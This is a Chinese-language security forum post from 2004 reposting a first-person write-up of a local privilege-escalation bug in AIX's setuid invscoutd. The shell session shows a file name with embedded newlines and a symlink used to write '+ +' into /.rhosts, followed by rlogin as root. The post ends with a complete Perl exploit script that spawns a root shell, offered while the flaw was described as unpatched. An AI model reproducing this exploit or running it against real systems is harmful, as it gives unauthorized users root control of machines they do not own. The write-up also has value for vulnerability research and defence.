2004-6-5 09:10
无花果
转自:<br /><a href='https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203' target='_blank'>https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203</a><br /><br />感谢watercloud. <!--emo&^_^--><img src='style_emoticons/default/happy.gif' border='0' style='vertical-align:middle' alt='happy.gif' /><!--endemo--> <br /><br />AIX捉虫记<br /> <br /> 之invscoutd<br /><br /><br /><br /><br /><br />本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy),<br />整理了一下加了点注释,和有兴趣的朋友分享 <!--emo&:)--><img src='style_emoticons/default/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo--><br /><br />[ 文中涉及到我发现的一个AIX4.x & 5L上的漏洞,可以使普通用户获得root权限,现在IBM好像还没有补丁,望大家善用之 ]<br /><br /><br />时间:2003-5-3日<br />天气:晴,万里无云的天空飘着几朵小小的白云<br /><br />今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令<br />等都有了,今天继续……<br /><br />平台信息:<br />-bash-2.05b$ oslevel<br />5.1.0.0<br />-bash-2.05b$ oslevel -r<br />5100-01<br /><br /><br />按八字排列今天应该考查invscoutd命令了<br />-bash-2.05b$ ls -l /usr/sbin/invscoutd<br />-r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd<br /> <br /> |<br /> +------考查理由? 需要么?谁叫他带了这个s位!<br /><br /><br />首先了解一下这个命令是哪个道上混的~<br />-bash-2.05b$man invscoutd <br />…………<br />The invscoutd command implements a permanent Inventory Scout server daemon on<br />one machine in a user's local network. The usual client is a Java applet running<br />in the user's Web browser, which was downloaded from a central Inventory Scout<br />CGI application.<br />…………<br /><br />赖着性子看完,瞌睡ing ...<br /><br />再来看看这个命令的长相:<br />-bash-2.05b$ invscoutd <br />invscoutd: Missing log file name.<br />Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@<br />USAGE: invscoutd [options] logfile <-- 还写日志文件的说。<br />logfile Append status and err msgs. '-' means write to stderr.<br />-o Overwrite preexisting log file instead of append. <-- 还可以覆盖已有文件的说~<br />-pN Change port number to N from default 808. <-- 默认监听在808端口<br />-bN Change read buffer size to N from default 1024.<br />-dN Change max logic db file size to N from default 50000.<br />-tN Change timeout period to N seconds from default 30 seconds.<br />-vN Change verbosity level to N from default 18, <--支持交互级别,级别越高记录信息应该越详细<br /> 25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.<br /><br />依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,<br />就先考查一下他的这个日志文件吧 ~~~<br /><br /><br />-bash-2.05b$ ls -l /tmp/bb<br />ls: 0653-341 The file /tmp/bb does not exist.<br /><br />-bash-2.05b$ invscoutd /tmp/bb <br />Inventory Scout Version 1.3.0.0<br />Logic Database Version 1.3.0.0<br />Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=17028<br /> flog=/tmp/bb<br />-bash-2.05b$ ls -l /tmp/bb<br />-rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb<br /><br />哇噻~~,权限果然有问题!!日志文件是root所有的说!!<br />睡意全无,立刻就清醒了!<br /><br /><br />有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的<br />-bash-2.05b$ id<br />uid=203(cloud) gid=1(staff)<br /><br />看来没错,是个漏洞,那我能利用这个漏洞做什么呢??<br />想想……<br /><br />至少可以把系统重要配置文件破坏掉吧,哈哈……<br /><br />再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),<br />我们可以用这个漏洞创建这个文件,要是之前执行一次<br />umask 000<br />创建的文件我们就有修改权限了 <!--emo&^_^--><img src='style_emoticons/default/happy.gif' border='0' style='vertical-align:middle' alt='happy.gif' /><!--endemo--><br /><br />这样我们就可以任意改写文件内容了,如:/.rhosts中加一行 <br />+ +<br /><br />可惜r系列服务使用.rhosts时会对文件属性进行检查:<br />如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!<br /><br />看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~<br /><br />我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~<br /><br />回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,<br />那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改<br />/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件<br />把自己变为root了吗?<br /><br /><br /><br />赶紧来看看日志文件里写了什么内容:<br />-bash-2.05b$ cat /tmp/bb<br />2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<br />2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0<br />2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=17028<br /> flog=/tmp/bb<br /><br />里面好像就flog=/tmp/bb和输入有关。<br /><br />再试试,看这个问题能不能重现.<br /><br />-bash-2.05b$ invscoutd ./aa<br />Inventory Scout Version 1.3.0.0<br />Logic Database Version 1.3.0.0<br />Exit code 2, pid 536968056.<br /><br />看来还得先杀掉老的进程才能再试。<br /><br />-bash-2.05b$ ps -ef |grep invs<br /> cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa<br /> cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs<br />-bash-2.05b$ kill -9 15526<br /><br />看看刚才出错记录到log文件了没?<br />-bash-2.05b$ ls -l ./aa<br />ls: 0653-341 The file ./aa does not exist.<br /><br />没有的说。<br /><br /><br />我再试试,我非要重现一次才放心.<br />-bash-2.05b$ invscoutd ./aa<br />Inventory Scout Version 1.3.0.0<br />Logic Database Version 1.3.0.0<br />Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=15526<br /> flog=./aa<br /><br />-bash-2.05b$ ls -l ./aa<br />ls: 0653-341 The file ./aa does not exist.<br />咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。<br /><br />这次学乖了,先杀掉进程。<br />-bash-2.05b$ ps -ef |grep invsc<br /> cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc<br /> cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa<br />-bash-2.05b$ kill -9 17028<br /><br />…………<br /><br />经测试,果然能重现,放心了~~<br /><br /><br /><br />想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,<br />都必须要能完整的控制一行写入文件的内容,日志中能控制的是:<br /> flog=输入文件名<br />部分,那面文件名中带换行符就可以控制一行的内容了,如:<br />aaaa\n完整的一行\naaaa这种形似的文件名。<br />想了就做.<br /><br /><br />但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,<br />刚好以前学的perl派上了用场 ^_*<br />用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",<br />看看能不能产生一个单独的一行记录内容<br />+ +<br /><br />-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'<br />Inventory Scout Version 1.3.0.0<br />Logic Database Version 1.3.0.0<br />Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=16282<br /> flog=/tmp/bbbbb<br />+ +<br />ddd<br />-bash-2.05b$ cat /tmp/bbbbb*<br />2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<br />2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0<br />2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..<br />2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.<br />2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<br />2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0<br />2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=16282<br /> flog=/tmp/bbbbb<br />+ +<br />ddd<br /><br />嘿嘿,可以的说!!<br /><br />-bash-2.05b$ ls -l /tmp/bbbbb*<br />-rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb<br />+ +<br />ddd<br /><br />那我们如何写"\n+ +\n"内容到/.rhosts呢?<br /><br /><br />想想……<br /><br />再想想……<br /><br />呵呵,我想到了,你想到了吗?<br /><br />再给你5分钟,好好想想~~<br /><br /><br /><br /><br /><br />如果直接执行invscoutd /.rhosts<br />肯定不行,里面不会有我们期望的<br />+ +<br />行。<br /><br />如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'<br />向log文件写入<br />+ +<br />成功,<br /><br />但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,<br /><br />再想想…………<br /><br />归纳一下,问题核心是想把A文件名写入B文件中,<br />Unix下的符号链接好像就是这个桥梁耶~<br /><br />我们建立一个A -> B的符号连接不就行了!<br />ln -s B A<br />然后<br />invscoutd A<br />应该就成了。<br /><br /><br />开始行动:<br /><br />-bash-2.05b$ ls -l /.rhosts<br />ls: 0653-341 The file /.rhosts does not exist.<br /><br />建立A -> B的符号链接:<br />-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'<br />这里B是"/.rhosts"<br />A是"/tmp/cc\n+ +\ndd"<br /><br />-bash-2.05b$ ls -l /tmp/cc*<br />lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc<br />+ +<br />dd -> /.rhosts<br /><br />来,执行之<br /><br />-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'<br />Inventory Scout Version 1.3.0.0<br />Logic Database Version 1.3.0.0<br />Exit code 2, pid 536968072.<br />-bash-2.05b$ ps -ef |grep invsc<br /> cloud 16282 1 0 03:59:27 - 0:00 invscoutd /tmp/bbbbb?+ +?ddd<br /> cloud 17146 15338 1 04:03:40 pts/0 0:00 grep invsc<br />-bash-2.05b$ kill -9 16282<br />-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'<br />Inventory Scout Version 1.3.0.0<br />Logic Database Version 1.3.0.0<br />Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=17150<br /> flog=/tmp/cc<br />+ +<br />dd<br /><br />看看文件生成了没有:<br />-bash-2.05b$ ls -l /.rhosts<br />-rw-r--r-- 1 root staff 598 May 03 04:03 /.rhosts<br /><br />ok,来继续看看内容:<br /><br />-bash-2.05b$ cat /.rhosts<br />2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<br />2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0<br />2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..<br />2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.<br />2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<br />2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0<br />2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:<br /> p=808 u=0 v=18 t=30 d=50000 pid=17150<br /> flog=/tmp/cc<br />+ +<br />dd<br /><br /><br />呵呵+ +写进去了!!!<br /><br />来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了:<br /><br />-bash-2.05b$ rlogin -l root localhost<br />usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]<br /><br />faint ! 一高兴起来就连命令格式都给忘了 <!--emo&:(--><img src='style_emoticons/default/sad.gif' border='0' style='vertical-align:middle' alt='sad.gif' /><!--endemo--><br /><br />再来:<br /><br />-bash-2.05b$ rlogin localhost -l root<br />*******************************************************************************<br />* *<br />* *<br />* Welcome to AIX Version 5.1! *<br />* *<br />* *<br />* Please see the README file in /usr/lpp/bos for information pertinent to *<br />* this release of the AIX Operating System. *<br />* *<br />* *<br />*******************************************************************************<br />…………<br /><br />-bash-2.05b# <--好爽的特权"#"提示附耶!<br />-bash-2.05b# id<br />uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)<br /><br /><br />哈哈哈~~搞定啦~~偶麻雀变root啦~~<br />学了这么多年的Unix知识终于没白学呀~~<br />热泪盈框ing ……<br /><br /><br />继续感动ing……<br /><br /><br /><br />◎!#◎%¥#%,还在陶醉~~! ! !<br /><br /><br />好啦~好啦~自恋狂!该干活啦~~<br /><br /><br />简单清理战场~<br />-bash-2.05b# rm /.rhosts<br />-bash-2.05b# rm /tmp/bb* /tmp/cc*<br />-bash-2.05b# ps -ef |grep invsc<br /> cloud 14306 15338 1 04:05:51 pts/0 0:00 grep invsc<br /> cloud 17150 1 0 04:03:48 - 0:00 invscoutd /tmp/cc?+ +?dd<br />-bash-2.05b# kill -9 17150<br />-bash-2.05b#<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />还看呀?!已经拉下帷幕了,都是后台操作了!<br /><br /><!--emo&^_^--><img src='style_emoticons/default/happy.gif' border='0' style='vertical-align:middle' alt='happy.gif' /><!--endemo--><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />================================ 后记 ===============================<br />这个漏洞在Aix4.x上也存在,去年一个罗马IBM的工程师给我讲高版本的invscoutd<br />系统 没有这个安全bug了,但最近我重装了一个5.1 update到2004-5月出的ML06后<br />还是有这个问题,比较奇怪 :-(<br /><br />最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl<br /><br />#!/usr/bin/perl<br /># FileName: x_invscoutd.pl<br /># Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.<br /># Tested : on Aix4.3.3 & Aix5.1. <br /># Some high version of invscoutd is not affected.<br /># Author : watercloud@nsfocus.com<br /># watercloud@xfocus.org <br /># Date : 2003-5-29<br /># Announce: use as your owner risk!<br /><br />$LOG="/tmp/.ex/.hello\n+ +\nworld";<br />$CMD="/usr/sbin/invscoutd";<br />umask 022;<br />mkdir "/tmp/.ex",0777;<br /><br />print "Exploit error on kill process invscoutd !!" ,exit 1<br /> if &killproc() == 0;<br /><br />symlink "/.rhosts",$LOG;<br />system $CMD,"-p7321",$LOG; &killproc();<br />unlink $LOG;<br />print "\n============\nRemember to remove /.rhosts !!\n";<br />print "rsh localhost -l root '/bin/sh -i'\n";<br />print "waiting . . . . . .\n";<br />system "rsh","localhost","-l","root","/bin/sh -i";<br /><br />system $CMD,"-p808","/dev/null" ; &killproc();<br />rmdir "/tmp/.ex";<br /><br />sub killproc() {<br /> $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;<br /> @proc_lst=split;<br /> $ret=kill 9,$proc_lst[1] if $proc_lst[1];<br /> $ret=-1 if ! defined $ret;<br /> return $ret;<br />}<br />#EOF<br /><br />=============================================================<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Game Over !<br /><br /><br />祝大家6.1快乐 <!--emo&:)--><img src='style_emoticons/default/smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /><!--endemo--><br /><br /><br /><br /><br /><br /> watercloud <br /><br /><br /> 2004-6-1
2004-6-5 10:34
老农
<!--emo&:o--><img src='style_emoticons/default/ohmy.gif' border='0' style='vertical-align:middle' alt='ohmy.gif' /><!--endemo--> <!--emo&:wub:--><img src='style_emoticons/default/wub.gif' border='0' style='vertical-align:middle' alt='wub.gif' /><!--endemo--> <!--emo&:haha:--><img src='style_emoticons/default/haha.gif' border='0' style='vertical-align:middle' alt='haha.gif' /><!--endemo-->